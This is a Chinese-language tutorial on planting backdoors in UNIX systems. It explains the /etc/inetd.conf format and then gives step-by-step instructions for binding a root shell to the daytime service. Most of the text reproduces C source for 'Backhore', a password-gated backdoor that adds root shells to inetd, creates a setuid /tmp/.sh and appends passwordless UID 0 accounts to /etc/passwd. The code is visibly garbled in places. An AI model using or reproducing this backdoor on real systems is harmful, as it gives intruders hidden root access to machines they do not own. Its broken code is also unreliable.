创建UNIX后门(中级篇)　

超级服务器守护进程（inetd）的配置文件。系统管理员一般情况下不经常检查该文件，因此这倒是个放置“后门”的好地方。:) 那么在这里如何建立一个最好的后门呢？当然是远程的了。这样你就不必需要本地帐号就可以成为根用户了。首先，让我们先来了解一下这方面的基础知识：inetd 进程负责监听各个TCP和UDP端口的连接请求，并根据连接请求启动相应的服务器进程。该配置文件 /etc/inetd.conf 很简单，基本形式如下：

(1) (2) (3) (4) (5) (6) (7) ftp stream tcp nowait root /usr/etc/ftpd ftpd talk dgram udp wait root /usr/etc/ntalkd ntalkd mountd/1 stream rpc/tcp wait root /usr/etc/mountd mountd

1：第一栏是服务名称。服务名通过查询 /etc/services 文件（供 TCP 和 UDP 服务使用）或 portmap 守护进程（供 RPC 服务使用）映射成端口号。RPC（远程过程调用）服务由 name/num 的名字格式和第三栏中的 rpc 标志识别。

2：第二栏决定服务使用的套接口类型：stream、dgram 或 raw。一般说来，stream 用于 TCP 服务，dgram 用于 UDP， raw 的使用很少见。

3：第三栏标识服务使用的通信协议。允许的类型列在 protocols 文件中。协议几乎总是是 tcp 或 udp。RPC 服务在协议类型前冠以 rpc/。

4：如果所说明的服务一次可处理多个请求（而不是处理一个请求后就退出），那么第四栏应置成 wait，这样可以阻止 inetd 持续地派生该守护进程的新拷贝。此选项用于处理大量的小请求的服务。如果 wait 不合适，那么在本栏中填 nowait。

5：第五栏给出运行守护进程的用户名。

6：第六栏给出守护进程的全限定路径名。

7：守护进程的真实名字及其参数。

如果所要处理的工作微不足道（如不需要用户交互），inetd 守护进程便自己处理。此时第六、七栏只需填上 ‘internal’ 即可。所以，要安装一个便利的后门，可以选择一个不常被使用的服务，用可以产生某种后门的守护进程代替原先的守护进程。例如，让其添加 UID 0 的帐号，或复制一个 suid shell。

一个比较好的方法之一，就是将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell。只要将 /etc/inetd.conf 文件中的：

daytime stream tcp nowait root internal

修改为：

daytime stream tcp nowait /bin/sh sh -i.

然后重启（记住：一定要重启）inetd 进程：

killall -9 inetd。

但更好、更隐蔽的方法是伪造网络服务，让它能够在更难以察觉的情况下为我们提供后门，例如口令保护等。如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问，那是再好不过了。方法就是将“自己的”守护程序绑定到某个端口，该程序对外来连接不提供任何提示符，但只要直接输入了正确的口令，就能够顺利地进入系统。以下是这种后门的一个示范程序。（注：这个程序写得并不很完整。）

backdoor/remoteback.c /* Coders: Theft

Help from: Sector9, Halogen

Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen, Psionic, g0d, Psionic. Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH), Global Hell(gH), Team Sploit, Hong Kong Danger Duo, Tg0d, EHAP. Usage: Setup: # gcc -o backhore backhore.c # ./backdoor password & Run: Telnet to the host on port 4000. After connected you Will not be prompted for a password, this way it is less Obvious, just type the password and press enter, after this You will be prompted for a command, pick 1-8.

Distributers: Ethical Mutiny Crew

*/

#include #include #include #include #include #include #include #include

#define PORT 4000 #define MAXDATASIZE 100 #define BACKLOG 10 #define SA struct sockaddr

void handle(int);

int main(int argc, char *argv[]) { int sockfd, new_fd, sin_size, numbytes, cmd; char ask[10]=”Command: “; char *bytes, *buf, pass[40]; struct sockaddr_in my_addr;

struct sockaddr_in their_addr;

printf(“\n Backhore BETA by Theft\n”); printf(” 1: trojans rc.local\n”); printf(” 2: sends a systemwide message\n”); printf(” 3: binds a root shell on port 2000\n”); printf(” 4: creates suid sh in /tmp\n”); printf(” 5: creates mutiny account uid 0 no passwd\n”); printf(” 6: drops to suid shell\n”); printf(” 7: information on backhore\n”); printf(” 8: contact\n”);

if (argc != 2) { fprintf(stderr,”Usage: %s password\n”, argv[0]); exit(1); }

strncpy(pass, argv[1], 40); printf(“..using password: %s..\n”, pass);

if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror(“socket”); exit(1); }

my_addr.sin_family = AF_INET; my_addr.sin_port = htons(PORT); my_addr.sin_addr.s_addr = INADDR_ANY;

if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {

perror(“bind”); exit(1); }

if (listen(sockfd, BACKLOG) == -1) { perror(“listen”); exit(1); }

sin_size = sizeof(SA); while(1) { /* main accept() loop */ if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1) { perror(“accept”); continue; } if (!fork()) { dup2(new_fd, 0); dup2(new_fd, 1); dup2(new_fd, 2); fgets(buf, 40, stdin); if (!strcmp(buf, pass)) { printf(“%s”, ask); cmd = getchar(); handle(cmd); } close(new_fd); exit(0); } close(new_fd); while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */ } }

void handle(int cmd) { FILE *fd;

switch(cmd) { case ‘1’: printf(“\nBackhore BETA by Theft\n”); printf(“theft@cyberspace.org\n”); printf(“Trojaning rc.local\n”); fd = fopen(“/etc/passwd”, “a+”); fprintf(fd, “mutiny::0:0:ethical mutiny crew:/root:/bin/sh”); fclose(fd); printf(“Trojan complete.\n”); break; case ‘2’: printf(“\nBackhore BETA by Theft\n”); printf(“theft@cyberspace.org\n printf(“Sending systemwide message..\n”); system(“wall Box owned via the Ethical Mutiny Crew”); printf(“Message sent.\n”); break; case ‘3’: printf(“\nBackhore BETA by Theft\n”); printf(“=”mailto:theft@cyberspace.org\n”>theft@cyberspace.org\n”); printf(“\nAdding inetd backdoor… (-p)\n”); fd = fopen(“/etc/services”,”a+”); fprintf(fd,”backdoor\t2000/tcp\tbackdoor\n”); fd = fopen(“/etc/inetd.conf”,”a+”); fprintf(fd,”backdoor\tstream\ttcp\tnowait\troot\t/bin/sh -i\n”); execl(“killall”, “-HUP”, “inetd”, NULL); printf(“\ndone.\n”); printf(“telnet to port 2000\n\n”); break; case ‘4’: printf(“\nBackhore BETA by Theft\n”); printf(“=”mailto:theft@cyberspace.org\n”>theft@cyberspace.org\n”); printf(“\nAdding Suid Shell… (-s)\n”); system(“cp /bin/sh /tmp/.sh”); system(“chmod 4700 /tmp/.sh”); system(“chown root:root /tmp/.sh”); printf(“\nSuid shell added.\n”); printf(“execute /tmp/.sh\n\n”); break; case ‘5’: printf(“\nBackhore BETA by Theft\n”); theft@cyberspace.org\n”); printf(“\nAdding root account… (-u)\n”); fd=fopen(“/etc/passwd”,”a+”); fprintf(fd,”hax0r::0:0::/:/bin/bash\n”); printf(“\ndone.\n”); printf(“uid 0 and gid 0 account added\n\n”); break; case ‘6’: printf(“\nBackhore BETA by Theft\n”); printf(“theft@cyberspace.org\n printf(“Executing suid shell..\n”);

execl(“/bin/sh”); break; case ‘7’: printf(“\nBackhore BETA by Theft\n”); printf(“theft@cyberspace.org\n”); printf(“\nInfo… (-i)\n”); printf(“\n3 – Adds entries to /etc/services & /etc/inetd.conf giving you\n”); printf(“a root shell on port 2000. example: telnet 2000\n\n”); printf(“4 – Creates a copy of /bin/sh to /tmp/.sh which, whenever\n”); printf(“executed gives you a root shell. example:/tmp/.sh\n\n”); printf(“5 – Adds an account with uid and gid 0 to the passwd file.\n”); printf(“The login is ‘mutiny’ and there is no passwd.”); break; case ‘8’: printf(“\nBackhore BETA by Theft\n”); printf(“\http://theft.bored.org\n”); printf(theft@cyberspace.org\n\n”); break; default: printf(“unknown command: %d\n”, cmd); break; } }